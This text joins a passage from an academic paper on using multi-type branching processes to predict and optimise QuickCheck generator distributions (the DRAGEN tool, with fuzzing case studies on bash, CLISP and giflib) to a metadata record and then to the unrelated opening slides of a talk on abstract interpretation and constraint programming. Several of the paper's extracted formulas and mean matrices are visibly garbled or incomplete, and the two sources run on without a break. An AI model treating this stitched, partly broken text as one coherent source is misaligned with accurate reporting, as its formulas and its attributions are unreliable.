(8)
It is possible to write the resulting sum as the closed formula:
$$E[P_n]^T = E[G_0]^T \cdot \left( \frac{I - (M_C)^{n+1}}{I - M_C} \right)$$
(9)
where $I$ represents the identity matrix of the appropriate size. Note that equation (9) only holds when $(I - M_C)$ is non-singular, however, this is the usual case. When $(I - M_C)$ is singular, we resort to using equation (8) instead. Without losing generality, and for simplicity, we consider equations (8) and (9) as interchangeable. They are the general formulas for the Galton-Watson multi-type branching processes.
Then, to predict the distribution of our \textit{Tree} data type example, we proceed to build its mean matrix $M_C$. For instance, the mean number of $\textit{Leaf}$s generated by a $\textit{Node}_A$ is:
$$m_{\text{Node}_A, \text{Leaf}} = 1 \cdot \text{PLeaf} \cdot \text{PNode}_A + 1 \cdot \text{PNode}_A \cdot \text{PNode}_B$$
One Leaf as left-subtree
$$+ 1 \cdot \text{PNode}_A \cdot \text{PLeaf} + 1 \cdot \text{PNode}_B \cdot \text{PLeaf}$$
One Leaf as right-subtree
$$+ 2 \cdot \text{PLeaf} \cdot \text{Leaf}$$
Leaf as left- and right-subtree
$$= 2 \cdot \text{PLeaf}$$
(10)
The rest of $M_C$ can be similarly computed, obtaining:
$$M_C = \text{Node}_A \begin{bmatrix} \text{Leaf} & \text{Node}_A & \text{Node}_B \\ 2 \cdot \text{PLeaf} & 2 \cdot \text{PNode}_A & 2 \cdot \text{PNode}_B \end{bmatrix}$$
(11)
Note that the first row, corresponding to the \textit{Leaf} constructor, is filled with zeros. This is because \textit{Leaf} is a terminal constructor, i.e., it cannot generate further subterms of any kind.5
With the mean matrix in place, we define $E[G_0]$ (the initial vector of mean probabilities) as $(\text{PLeaf}, \text{PNode}_A, \text{PNode}_B)$. By applying (9) with $E[G_0]$ and $M_C$, we can predict the expected number of generated non-terminal $\textit{Node}_A$ constructors (and analogously $\textit{Node}_B$) with a size parameter $n$ as follows:
$$E[\text{Node}_A] = \left( E[P_{n-1}] \cdot M_C \right)_{\text{Node}_A}$$
Function $(\_).C$ simply projects the value corresponding to constructor $C$ from the population vector. It is very important to note that the sum only includes the population up to level $(n - 1)$. This choice comes from the fact that our QuickCheck generator can choose between only terminal constructors at the last generation level (recall that gen 0 generates only $\textit{Leaf}$s in Figure 5). As an example, if we assign our generator probabilities for $\textit{Tree}$ as $\text{PLeaf} \mapsto 0.2, \text{PNode}_A \mapsto 0.5$ and $\text{PNode}_B \mapsto 0.3$, then the formula predicts that our QuickCheck generator with a size parameter of 10 will generate on average 21.322 $\textit{Node}_A$s and 12.813 $\textit{Node}_B$s. This result can easily be verified by sampling a large number of values with a generation size of 10, and then averaging the number of generated $\textit{Node}_A$s and $\textit{Node}_B$s across the generated values.
In this section, we obtain a prediction of the expected number of non-terminal constructors generated by $\textbf{DRAGEN}$ generators. To predict terminal constructors, however, requires a special treatment as discussed in the next section.
5The careful reader may notice that there is a pattern in the mean matrix if inspected together with the definition of $\textit{Tree}$. We prove in Section 6 that each $m_{ij}$ can be automatically calculated by simply exploiting type information.
5 Terminal constructors
In this section we introduce the special treatment required to predict the generated distribution of terminal constructors, i.e., constructors with no recursive arguments.
Consider the generator in Figure 5. It generates terminal constructors in two situations, i.e., in the definition of gen 0 and gen n. In other words, the random process introduced by our generators can be considered to be composed of two independent parts when it comes to terminal constructors—refer to the supplementary material for a graphical interpretation. In principle, the number of terminal constructors generated by the stochastic process described in gen n is captured by the multi-type branching process formulas. However, to predict the expected number of terminal constructors generated by exercising gen 0, we need to separately consider a random process that only generates terminal constructors in order to terminate. For this purpose, and assuming a maximum generation depth n, we need to calculate the number of terminal constructors required to stop the generation process at the recursive arguments of each non-terminal constructor at level \((n−1)\). In our Tree’ example, this corresponds to two Leaf’s for every Node_A and one Leaf for every Node_B constructor at level \((n−1)\).
Since both random processes are independent, to predict the overall expected number of terminal constructors, we can simply add the expected number of terminal constructors generated in each one of them. Recalling our previous example, we obtain the following formula for Tree’ terminals as follows:
\[
E[\text{Leaf}] = \left\{ \begin{array}{ll}
\left( E[P_{n-1}] \right)^T \cdot \text{Leaf} & \text{branching process} \\
2 \cdot \left( E[G_{n-1}] \right)^T \cdot \text{Node}_A & \text{case (\text{Node}_A \text{ Leaf} \text{ Leaf})} \\
1 \cdot \left( E[G_{n-1}] \right)^T \cdot \text{Node}_B & \text{case (\text{Node}_B \text{ Leaf})}
\end{array} \right.
\]
The formula counts the Leaf’s generated by the multi-type branching process up to level \((n−1)\) and adds the expected number of Leaf’s generated at the last level.
Although we can now predict the expected number of generated Tree’ constructors regardless of whether they are terminal or not, this approach only works for data types with a single terminal constructor. If we have a data type with multiple terminal constructors, we have to consider the probabilities of choosing each one of them when filling the recursive arguments of non-terminal constructors at the previous level. For instance, consider the following ADT:
\[
\text{data Tree}^* = \text{Leaf}_A | \text{Leaf}_B | \text{Node}_A \text{ Tree}^* | \text{Tree}^* | \text{Node}_B \text{ Tree}^*
\]
Figure 7 shows the corresponding DRAGEN generator for Tree". Note there are two sets of probabilities to choose terminal nodes, one for each random process. The \(p^*_\text{Leaf}_A\) and \(p^*_\text{Leaf}_B\) probabilities are used to choose between terminal constructors at the last generation level. These probabilities preserve the same proportion as their non-starred versions, i.e., they are normalized to form a probability distribution:
\[
p^*_\text{Leaf}_A = \frac{p\text{Leaf}_A}{p\text{Leaf}_A + p\text{Leaf}_B} \quad p^*_\text{Leaf}_B = \frac{p\text{Leaf}_B}{p\text{Leaf}_A + p\text{Leaf}_B}
\]
In this manner, we can use the same generation probabilities for terminal constructors in both random processes—therefore reducing the complexity of our prediction engine implementation (described in Section 7).
To compute the overall expected number of terminals, we need to predict the expected number of terminal constructors at the last generation level which could be descendants of non-terminal constructors at level \((n−1)\). More precisely:
\[
E[\text{Leaf}_A] = \left( E[P_{n-1}] \right)^T \cdot \text{Leaf}_A + 2 \cdot p^*_\text{Leaf}_A \cdot \left( E[G_{n-1}] \right)^T \cdot \text{Node}_A
\]
expected leaves to fill \text{Node}_A
\[
+ \left( E[G_{n-1}] \right)^T \cdot \text{Node}_B
\]
expected leaves to fill \text{Node}_B
where the case of \(E[\text{Leaf}_B]\) follows analogously.
6 Mutually-recursive and composite ADTs
In this section, we introduce some extensions to our model that allow us to derive DRAGEN generators for data types found in existing off-the-shelf Haskell libraries. We start by showing how multi-type branching processes naturally extend to mutually-recursive ADTs. Consider the mutually recursive ADTs \(T_1\) and \(T_2\) with their automatically derived generators shown in Figure 8. Note the use of the QuickCheck’s function \(resize::\text{Int} \to \text{Gen a} \to \text{Gen a}\), which resets the generation size of a given generator to a new value. We use it to decrement the generation size at the recursive calls of arbitrary that generate subterms of a mutually recursive data type.
The key observation is that we can ignore that \(A, B, C\) and \(D\) are constructors belonging to different data types and just consider each of them as a kind of offspring on its own. Figure 9 visualizes the possible offspring generated by the non-terminal constructor \(B\) (belonging to \(T_1\)) with the corresponding probabilities as labeled edges. Following the figure, we obtain the expected number of \(D\)s generated by \(B\) constructors as follows:
\[
m_{BD} = 1 \cdot p_A \cdot p_D + 1 \cdot p_B \cdot p_D = p_D \cdot (p_A + p_B) = p_D
\]
data \( T_1 = A \mid B T_1 T_2 \)
data \( T_2 = C \mid D T_1 \)
instance Arbitrary \( T_1 \) where
arbitrary = sized gen where
gen 0 = pure \( A \)
gen n = chooseWith
\[ (p_A, \text{pure } A), (p_B, B (\$ \text{gen } (n-1) (\star) \text{resize } (n-1) \text{ arbitrary})) \]
instance Arbitrary \( T_2 \) where
arbitrary = sized gen where
gen 0 = pure \( C \)
gen n = chooseWith
\[ (p_C, \text{pure } C), (p_D, D (\$ \text{resize } (n-1) \text{ arbitrary})) \]
Figure 8. Mutually recursive types \( T_1 \) and \( T_2 \) and their DRAGEN generators.
Doing similar calculations, we obtain the mean matrix \( M_C \) for \( A, B, C, \) and \( D \) as follows:
\[
M_C = \begin{bmatrix}
A & B & C & D \\
0 & 0 & 0 & 0 \\
\sum p_A & \sum p_B & \sum p_C & \sum p_D \\
0 & 0 & 0 & 0 \\
\sum p_A & \sum p_B & \sum p_C & \sum p_D \\
\end{bmatrix}
\]
We define the mean of the initial generation as \( E[G_0] = (p_A, p_B, 0, 0) \)—we assuming \( p_C = p_D = 0 \) since we choose to start by generating a value of type \( T_1 \). With \( M_C \) and \( E[G_0] \) in place, we can apply the equations explained through Section 4 to predict the expected number of \( A, B, C, \) and \( D \) constructors.
While this approach works, it completely ignores the types \( T_1 \) and \( T_2 \) when calculating \( M_C \). For a large set of mutually-recursive data types involving a large number of constructors, handling \( M_C \) like this results in a high computational cost. We show next how we cannot only shrink this mean matrix of constructors but also compute it automatically by making use of data type definitions.
Mean matrix of types If we analyze the mean matrices of \( Tree' \) (11) and the mutually-recursive types \( T_1 \) and \( T_2 \) (12), it seems that determining the expected number of offspring generated by a non-terminal constructor requires us to count the number of occurrences in the ADT which the offspring belongs to. For instance, \( m_{NodeA.Leaf} = 2 \cdot p_{Leaf} \) (10), where 2 is the number of occurrences of \( Tree' \) in the declaration of \( NodeA \). Similarly, \( m_{BD} = 1 \cdot p_D \), where 1 is the number of occurrences of \( T_2 \) in the declaration of \( B \). This observation means that instead of dealing with constructors, we could directly deal with types!
We can think about a branching process as generating "place holders" for constructors, where place holders can only be populated by constructors of a certain type.
Figure 10 illustrates offspring as types for the definitions \( T_1, T_2, \) and \( Tree' \). A place holder of type \( T_1 \) can generate a place holder for type \( T_1 \) and a place holder for type \( T_2 \). A place holder of type \( T_2 \) can generate a place holder of type \( T_1 \). A place holder of type \( Tree' \) can generate two place holders of type \( Tree' \) when generating \( NodeA \), one place holder when generating \( NodeB \), or zero place holders when generating a \( Leaf \) (this last case is not shown in the figure since it is void). With these considerations, the mean matrices of types for \( Tree' \), written \( M_{Tree'} \); and types \( T_1 \) and \( T_2 \), written \( M_{T_1,T_2} \) are defined as follows:
\[
M_{Tree'} = Tree'[2 \cdot t_{NodeA} + t_{NodeB}] \\
M_{T_1,T_2} = T_1[T_2] \begin{bmatrix}
p_B & p_D \\
p_B & 0 \\
\end{bmatrix}
\]
Note how \( M_{Tree'} \) shows that the mean matrices of types might reduce a multi-type branching process to a simple-type one.
Having the type matrix in place, we can use the following equation (formally stated and proved in the supplementary material) to soundly predict the expected number of constructors of a given set of (possibly) mutually recursive types:
\[
(E[G^n_C]).C_i^n = (E[G^n_T]).T_i \cdot p_{C_i^n} (\forall n \geq 0)
\]
Where \( G^n_C \) and \( G^n_T \) denotes the \( n \)-th-generations of constructors and type place holders respectively. \( C_i^n \) represents the \( i \)-th-constructor of the type \( T_i \). The equation establishes that, the expected number of constructors \( C_i^n \) at generation \( n \) consists of the expected number of type place holders of its type (i.e., \( T_i \)) at generation \( n \) times the probability of generating that constructor. This equation allows us to simplify many of our calculations above by simply using the mean matrix for types instead of the mean matrix for constructors.
6.1 Composite types
In this subsection, we extend our approach in a modular manner to deal with composite ADTs, i.e., ADTs which use already defined types in their constructors’ arguments and which are not involved in the branching process. We start by considering the ADT Tree modified to carry booleans at the leaves:
```haskell
data Tree = Leaf_A Bool | Leaf_B Bool Bool | · · ·
```
Where · · · denotes the constructors that remain unmodified.
To predict the expected number of True (and analogously of False) constructors, we calculate the multi-type branching process for Tree and multiply each expected number of leaves by the number of arguments of type Bool present in each one:
\[
E[True] = p_{true} \cdot (1 \cdot E[Leaf_A] + 2 \cdot E[Leaf_B])
\]
In this case, Bool is a ground type like Int, Float, etc. Predictions become more interesting when considering richer composite types involving, for instance, instantiations of polymorphic types. To illustrate this point, consider a modified version of Tree where Leaf_A now carries a value of type Maybe Bool:
```haskell
data Tree = Leaf_A (Maybe Bool) | Leaf_B Bool Bool | · · ·
```
In order to calculate the expected number of True, now we need to consider the cases that a value of type Maybe Bool actually carries a boolean value, i.e., when a Just constructor gets generated:
\[
E[True] = p_{true} \cdot (1 \cdot E[Leaf_A] \cdot p_{just} + 2 \cdot E[Leaf_B])
\]
In the general case, for constructor arguments utilizing other ADTs, it is necessary to know the chain of constructors required to generate “foreign” values—in our example, a True value gets generated if a Leaf_A gets generated with a Just constructor “in between.” To obtain such information, we create a constructor dependency graph (CDG), that is, a directed graph where each node represents a constructor and each edge represents its dependency. Each edge is labeled with its corresponding generation probability. Figure 11 shows the CDG for Tree starting from the Leaf_A constructor. Having this graph together with the application of the multi-type branching process, we can predict the expected number of constructors belonging to external ADTs. It is enough to multiply the probabilities at each edge of the path between every constructor involved in the branching process and the desired external constructor.
The extensions described so far enable our tool (presented in the next section) to make predictions about QuickCheck generators for ADTs defined in many existing Haskell libraries.
7 Implementation
**DRAGEN** is a tool chain written in Haskell that implements the multi-type branching processes (Section 4 and 5) and its extensions (Section 6) together with a distribution optimizer, which calibrates the probabilities involved in generators to fit developers’ demands. **DRAGEN** synthesizes generators by calling the Template Haskell function `dragenArbitrary :: Name → Size → CostFunction → Q [Dec]`, where developers indicate the target ADT for which they want to obtain a QuickCheck generator; the desired generation size, needed by our prediction mechanism in order to calculate the distribution at the last generation level; and a cost function encoding the desired generation distribution.
The design decision to use a probability optimizer rather than search for an analytical solution is driven by two important aspects of the problem we aim to solve. Firstly, the computational cost of exactly solving a non-linear system of equations (such as those arising from branching processes) can be prohibitively high when dealing with a large number of constructors, thus a large number of unknowns to be solved for. Secondly, the existence of such exact solutions is not guaranteed due to the implicit invariants the data types under consideration might have. In such cases, we believe it is much more useful to construct a distribution that approximates the user’s goal, than to abort the entire compilation process. We give an example of this approximate solution finding behavior later in this section.
7.1 Cost functions
The optimization process is guided by a user-provided cost function. In our setting, a cost function assigns a real number (a cost) to the combination of a generation size (chosen by the user) and a mapping from constructors to probabilities:
```haskell
type CostFunction = Size → ProbMap → Double
```
Type `ProbMap` encodes the mapping from constructor names to real numbers. Our optimization algorithm works by generating several `ProbMap` candidates that are evaluated through the provided cost function in order to choose the most suitable one. Cost functions are expected to return a smaller positive number as the predicted distribution obtained from its parameters gets closer to a certain target distribution, which depends on what property that particular cost function is intended to encode. Then, the optimizer simply finds the best `ProbMap` by minimizing the provided cost function.
Currently, our tool provides a basic set of cost functions to easily describe the expected distribution of the derived generator. For instance, `uniform :: CostFunction` encodes constructor-wise uniform generation, an interesting property that naturally arises from our generation process formalization. It guides the optimization process to a generation distribution that minimizes the difference between the expected number of each generated constructor and the generation size.
Moreover, the user can restrict the generation distribution to a certain subset of constructors using the cost functions only :: [Name] → CostFunction and without :: [Name] → CostFunction to describe these restrictions. In this case, the whitelisted constructors are then generated following the uniform behavior. Similarly, if the branching process involves mutually recursive data types, the user could restrict the generation to a certain subset of data types by using the functions onlyTypes and withoutTypes. Additionally, when the user wants to generate constructors according to certain proportions, weighted :: [(Name, Int)] → CostFunction allows to encode this property, e.g. three times more LeafA’s than LeafB’s.
Table 1 shows the number of expected and observed constructors of different Tree generators obtained by using different cost functions. The observed expectations were calculated averaging the number of constructors across 100000 generated values. Firstly, note how the generated distributions are soundly predicted by our tool. In our tests, the small differences between predictions and actual values dissipate as we increase the number of generated values. As for the cost functions’ behavior, there are some interesting aspects to note. For instance, in the uniform case the optimizer cannot do anything to break the implicit invariant of the data type: every binary tree with \( n \) nodes has \( n + 1 \) leaves. Instead, it converges to a solution that “approximates” a uniform distribution around the generation size parameter. We believe this is desirable behavior, to find an approximate solution when certain invariants prevent the optimization process from finding an exact solution. This way the user does not have to be aware of the possible invariants that the target data type may have, obtaining a solution that is good enough for most purposes. On the other hand, notice that in the weighted case at the second row of Table 1, the expected number of generated Nodes is considerably large. This constructor is not listed in the proportions list, hence the optimizer can freely adjust its probability to satisfy the proportions specified for the leaves.
7.2 Derivation Process
\textsc{Dragen}’s derivation process starts at compile-time with a type reification stage that extracts information about the structure of the types under consideration. It follows an intermediate stage composed of the optimizer for probabilities used in generators, which is guided by our multi-type branching process model, parametrized on the cost function provided. This optimizer is based on a standard local-search optimization algorithm that recursively chooses the best mapping from constructors to probabilities in the current neighborhood. Neighbors are \textit{ProbMaps}, determined by individually varying the probabilities for each constructor with a predetermined \( \Delta \). Then, to determine the “best” probabilities, the local-search applies our prediction mechanism to the immediate neighbors that have not yet been visited by evaluating the cost function to select the most suitable next candidate. This process continues until a local minimum is reached when there are no new neighbors to evaluate, or if each step improvement is lower than a minimum predetermined \( \varepsilon \).
The final stage synthesizes a \textit{Arbitrary} type-class instance for the target data types using the optimized generation probabilities. For this stage, we extend some functionality present in \textsc{MegaDeTH} in order to derive generators parametrized by our previously optimized probabilities. Refer to the supplementary material for further details on the cost functions and algorithms addressed by this section.
8 Case Studies
We start by comparing the generators for the ADT Tree derived by \textsc{MegaDeTH} and \textit{Feat}, presented in Section 2, with the corresponding generator derived by \textsc{Dragen} using a uniform cost function. We used a generation size of 10 both for \textsc{MegaDeTH} and \textsc{Dragen}, and a generation size of 400 for \textit{Feat}—that is, \textit{Feat} will generate test cases of maximum 400 constructors, since this is the maximum number of constructors generated by our tool using the generation size cited above. Figure 12 shows the differences between the complexity of the generated values in terms of the number of constructors. As shown in Figure 3, generators derived by \textsc{MegaDeTH} and \textit{Feat} produce very narrow distributions, being unable to generate a diverse variety of values of different sizes. In contrast, the \textsc{Dragen} optimized generator provides a much wider distribution, i.e., from smaller to bigger values.
It is likely that the richer the values generated, the better the chances of covering more code, and thus of finding more bugs. The next case studies provide evidence in that direction. Although \textsc{Dragen} can be used to test Haskell code, we follow the same philosophy as \textit{QuickFuzz}, targeting three complex and widely used external programs to evaluate how well our derived generators behave. These applications are \textsc{GNU bash} 4.4—a widely used Unix shell, \textsc{GNU CLISP} 2.49—the GNU Common Lisp compiler, and \textit{giflib}—a small test utility from the \textsc{GIFLIB} 5.1 library focused on reading and writing Gif images. It is worth noticing that these applications are not written in Haskell. Nevertheless, there are Haskell libraries designed to inter-operate with them: \textit{language-bash}, \textit{atto-lisp}, and \textit{JuicyPixels}, respectively. These libraries provide ADT definitions.
which we used to synthesize DRAGEN generators for the inputs of the aforementioned applications. Moreover, they also come with serialization functions that allow us to transform the randomly generated Haskell values into the actual test files that we used to test each external program. The case studies contain mutually recursive and composite ADTs with a wide number of constructors (e.g., GNU bash spans 31 different ADTs and 136 different constructors)—refer to the supplementary material for a rough estimation of the scale of such data types and the data types involved with them.
For our experiments, we use the coverage measure known as execution path employed by American Fuzzy Lop (AFL) [20]—a well known fuzzier. It was chosen in this work since it is also used in the work by Grieco et al. [14] to compare MegaDeTH with other techniques. The process consists of the instrumentation of the binaries under test, making them able to return the path in the code taken by each execution. Then, we use AFL to count how many different executions are triggered by a set of randomly generated files—also known as a corpus. In this evaluation, we compare how different QuickCheck generators, derived using MegaDeTH and using our approach, result in different code coverage when testing external programs, as a function of the size of a set of independently, randomly generated corpora. We have not been able to automatically derive such generators using Feat, since it does not work with some Haskell extensions used in the bridging libraries.
We generated each corpus using the same ADTs and generation sizes for each derivation mechanism. We used a generation size of 10 for CLISP and bash files, and a size of 5 for Gif files. For DRAGEN, we used uniform cost functions to reduce any external bias. In this manner, any observed difference in the code coverage triggered by the corpora generated using each derivation mechanism is entirely caused by the optimization stage that our predictive approach performs, which does not represent an extra effort for the programmer. Moreover, we repeat each experiment 30 times using independently generated corpora for each combination of derivation mechanism and corpus size.
Figure 13 compares the mean number of different execution paths triggered by each pair of generators and corpus sizes, with error bars indicating 95% confidence intervals of the mean. It is easy to see how the DRAGEN generators synthesize test cases capable of triggering a much larger number of different execution paths in comparison to MegaDeTH ones. Our results indicate average increases approximately between 35% and 41% with an standard error close to 0.35% in the number of different execution paths triggered in the programs under test.
An attentive reader might remember that MegaDeTH tends to derive generators which produce very small test cases. If we consider that small test cases should take less time (on average) to be tested, is fair to think there is a trade-off between being able to test a bigger number of smaller test cases or a smaller number of bigger ones having the same time available. However, when testing external software like in our experiments, it is important to consider the time overhead introduced by the operating system. In this scenario, it is much more preferable to test interesting values over smaller ones. In our tests, size differences between the generated values of each tool do not result in significant differences in the runtimes required to test each corpora—refer to the supplementary material for further details. A user is most likely to get better results by using our tool instead of MegaDeTH, with virtually the same effort.
We also remark that, if we run sufficiently many tests, then the expected code coverage will tend towards 100% of the reachable code in both cases. However, in practice, our approach is more likely to achieve higher code coverage for the same number of test cases.
### Table 1. Predicted and actual distributions for Tree generators using different cost functions.
<table>
<thead>
<tr>
<th>Cost Function</th>
<th>Predicted Expectation</th>
<th>Observed Expectation</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>$Leaf_{A}$</td>
<td>$Leaf_{B}$</td>
</tr>
<tr>
<td>uniform</td>
<td>5.26</td>
<td>5.26</td>
</tr>
<tr>
<td>weighted [('Leaf_{A}, 3), ('Leaf_{B}, 1), ('Leaf_{C}, 1)]</td>
<td>30.07</td>
<td>9.76</td>
</tr>
<tr>
<td>weighted [('Leaf_{A}, 1), ('Node, 3)]</td>
<td>10.07</td>
<td>3.15</td>
</tr>
<tr>
<td>only ['Leaf_{A}, 'Node']</td>
<td>10.41</td>
<td>0</td>
</tr>
<tr>
<td>without ['Leaf_{C}']</td>
<td>6.95</td>
<td>6.95</td>
</tr>
</tbody>
</table>
### 9 Related Work
Fuzzers are tools to tests programs against randomly generated unexpected inputs. QuickFuzz [13, 14] is a tool that synthesizes data with rich structure, that is, well-typed files which can be used as initial "seeds" for state-of-the-art fuzzers—a work flow which discovered many unknown vulnerabilities. Our work could help to improve the variation of the generated initial seeds, by varying the distribution of QuickFuzz generators—an interesting direction for future work.
SmallCheck [27] provides a framework to exhaustively test data sets up to a certain (small) size. The authors also propose a variation called Lazy SmallCheck, which avoids the generation of multiple variants which are passed to the test, but not actually used.
QuickCheck has been used to generate well-typed lambda terms in order to test compilers [25]. Recently, Midtgaard et al. extend such a technique to test compilers for impure programming languages [22].
**10 Final Remarks**
We discover an interplay between the stochastic theory of branching processes and algebraic data types structures. This connection enables us to describe a solid mathematical foundation to capture the behavior of our derived QuickCheck generators. Based on our formulas, we implement a heuristic to automatically adjust the expected number of constructors being generated as a way to control generation distributions.
One holy grail in testing is the generation of structured data which fulfills certain invariants. We believe that our work could be used to enforce some invariants on data “up to some degree”. For instance, by inspecting programs’ source code, we could extract the pattern-matching patterns from programs (e.g., (Cons (Cons x))) and derive generators which ensure that such patterns get exercised a certain amount of times (on average)—intriguing thoughts to drive our future work.
**Acknowledgments**
We would like to thank Michal Palka, Nick Smallbone, Martin Ceresa and Gustavo Grieco for comments on an early draft. This work was funded by the Swedish Foundation for Strategic Research (SSF) under the project Octopi (Ref. RIT17-0023) and WebSec (Ref. RIT17-0011) as well as the Swedish research agency Vetenskapsrådet.
**References**
Branching Processes for QuickCheck Generators
Haskell ’18, September 27–28, 2018, St. Louis, MO, USA
|
{"Source-Url": "https://research.chalmers.se/publication/507203/file/507203_Fulltext.pdf", "len_cl100k_base": 13962, "olmocr-version": "0.1.53", "pdf-total-pages": 14, "total-fallback-pages": 0, "total-input-tokens": 57627, "total-output-tokens": 16994, "length": "2e13", "weborganizer": {"__label__adult": 0.0003552436828613281, "__label__art_design": 0.0003466606140136719, "__label__crime_law": 0.00028252601623535156, "__label__education_jobs": 0.0007944107055664062, "__label__entertainment": 7.224082946777344e-05, "__label__fashion_beauty": 0.00016438961029052734, "__label__finance_business": 0.00021851062774658203, "__label__food_dining": 0.0003509521484375, "__label__games": 0.0005273818969726562, "__label__hardware": 0.0007181167602539062, "__label__health": 0.0005679130554199219, "__label__history": 0.0002703666687011719, "__label__home_hobbies": 0.0001080632209777832, "__label__industrial": 0.0003781318664550781, "__label__literature": 0.0003116130828857422, "__label__politics": 0.00028252601623535156, "__label__religion": 0.0004835128784179687, "__label__science_tech": 0.024871826171875, "__label__social_life": 0.00011271238327026369, "__label__software": 0.004924774169921875, "__label__software_dev": 0.962890625, "__label__sports_fitness": 0.00029015541076660156, "__label__transportation": 0.0004892349243164062, "__label__travel": 0.00021958351135253904}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 64236, 0.03377]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 64236, 0.67917]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 64236, 0.85396]], "google_gemma-3-12b-it_contains_pii": [[0, 398, false], [398, 5227, null], [5227, 10221, null], [10221, 15192, null], [15192, 20870, null], [20870, 25073, null], [25073, 30731, null], [30731, 36163, null], [36163, 40591, null], [40591, 46062, null], [46062, 51723, null], [51723, 57652, null], [57652, 59226, null], [59226, 64236, null]], "google_gemma-3-12b-it_is_public_document": [[0, 398, true], [398, 5227, null], [5227, 10221, null], [10221, 15192, null], [15192, 20870, null], [20870, 25073, null], [25073, 30731, null], [30731, 36163, null], [36163, 40591, null], [40591, 46062, null], [46062, 51723, null], [51723, 57652, null], [57652, 59226, null], [59226, 64236, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 64236, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 64236, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 64236, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 64236, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 64236, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 64236, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 64236, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 64236, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 64236, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 64236, null]], "pdf_page_numbers": [[0, 398, 1], [398, 5227, 2], [5227, 10221, 3], [10221, 15192, 4], [15192, 20870, 5], [20870, 25073, 6], [25073, 30731, 7], [30731, 36163, 8], [36163, 40591, 9], [40591, 46062, 10], [46062, 51723, 11], [51723, 57652, 12], [57652, 59226, 13], [59226, 64236, 14]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 64236, 0.02266]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
0e430f5e8705cb82fb476084d6a1802dfa013234
|
Abstract Interpretation and Constraint Programming
Charlotte Truchet\textsuperscript{1}, Antoine Miné\textsuperscript{2}
\textsuperscript{1} TASC, LINA (UMR 6241), Université de Nantes, France
\textsuperscript{2} Antique, LIENS (UMR 8548), ENS, Paris, France
CPAIOR
May 19th, 2015
Antoine cannot be here in Barcelona, so here he is:
The following is based on joint works with
Marie Pelleau Frédéric Benhamou Anicet Bart Eric Monfroy
Outline
1. Introduction
- AI
- CP
2. Bringing AI ideas to CP
3. Bringing CP ideas to AI
- Representing disjunctive information
- Iterations
4. Analyzing Sound Processes with Constraints
5. Conclusion
NB: in the following, AI means Abstract Interpretation.
Zoom on: Ariane 5, Flight 501
Maiden flight of the Ariane 5 Launcher, 4 June 1996.
Zoom on: Ariane 5, Flight 501
40s after launch...
Zoom on: Ariane 5, Flight 501
**Cause:** software error
- arithmetic overflow in unprotected data conversion from 64-bit float to 16-bit integer types
\[
P_M\_DERIVE(T\_ALG.E\_BH) := \\
UC\_16S\_EN\_16NS(TDB.T\_ENTIER\_16S((1.0/C_M\_LSB\_BH) * G_M\_INFO\_DERIVE(T\_ALG.E\_BH))); \\
\]
- software exception not caught
\[\rightarrow\] computer switched off
- all backup computers run the same software
\[\rightarrow\] all computers switched off, no guidance
\[\rightarrow\] rocket self-destructs
Abstract interpretation
General theory of the approximation and comparison of program semantics:
- unifies many existing semantics
- allows the definition of new static analyses that are correct by construction
Concrete and abstract semantics
\( (S_0) \)
assume \( X \) in \([0,1000]\);
\( (S_1) \)
\( I := 0; \)
\( (S_2) \)
while \( (S_3) \) I < X do
\( (S_4) \)
\( I := I + 2; \)
\( (S_5) \)
\( (S_6) \)
program
Concrete and abstract semantics
\[(S_0)\]
assume \(X\) in \([0,1000]\);
\[(S_1)\]
\(I := 0;\)
\[(S_2)\]
while \((S_3)\) \(I < X\) do
\[(S_4)\]
\(I := I + 2;\)
\[(S_5)\]
\[(S_6)\]
program semantics
Concrete semantics \(S_i \in D = \mathcal{P}(\{I, X\} \rightarrow \mathbb{Z})\):
- **strongest invariant** (and an inductive invariant)
- not computable in general
- smallest solution of a system of equations
\[S_i \in D = \mathcal{P}(\{I, X\} \rightarrow \mathbb{Z})\]
\[S_0 = \{ (i, x) \mid i, x \in \mathbb{Z} \} = \top\]
\[S_1 = \{ (i, x) \in S_0 \mid x \in [0, 1000] \} = F_1(S_0)\]
\[S_2 = \{ (0, x) \mid \exists i, (i, x) \in S_1 \} = F_2(S_1)\]
\[S_3 = S_2 \cup S_5\]
\[S_4 = \{ (i, x) \in S_3 \mid i < x \} = F_4(S_3)\]
\[S_5 = \{ (i + 2, x) \mid (i, x) \in S_4 \} = F_5(S_4)\]
\[S_6 = \{ (i, x) \in S_3 \mid i \geq x \} = F_6(S_3)\]
Concrete and abstract semantics
\[(S_0)\]
assume \(X\) in \([0,1000]\);
\[(S_1)\]
\(I := 0;\)
\[(S_2)\]
while \((S_3)\) \(I < X\) do
\[(S_4)\]
\(I := I + 2;\)
\[(S_5)\]
program semantics
\[(S_6)\]
Abstract semantics \(S_i^\# \in \mathcal{D}^\#\):
- \(\mathcal{D}^\#\) is a subset of properties of interest with a machine representation (approximation)
- \(F^\# : \mathcal{D}^\# \rightarrow \mathcal{D}^\#\) over-approximates the effect of \(F : \mathcal{D} \rightarrow \mathcal{D}\) in \(\mathcal{D}^\#\) (with effective algorithms)
Numeric abstract domain examples
concrete sets $\mathcal{D}$: $\{(0, 3), (5.5, 0), (12, 7), \ldots\}$
Numeric abstract domain examples
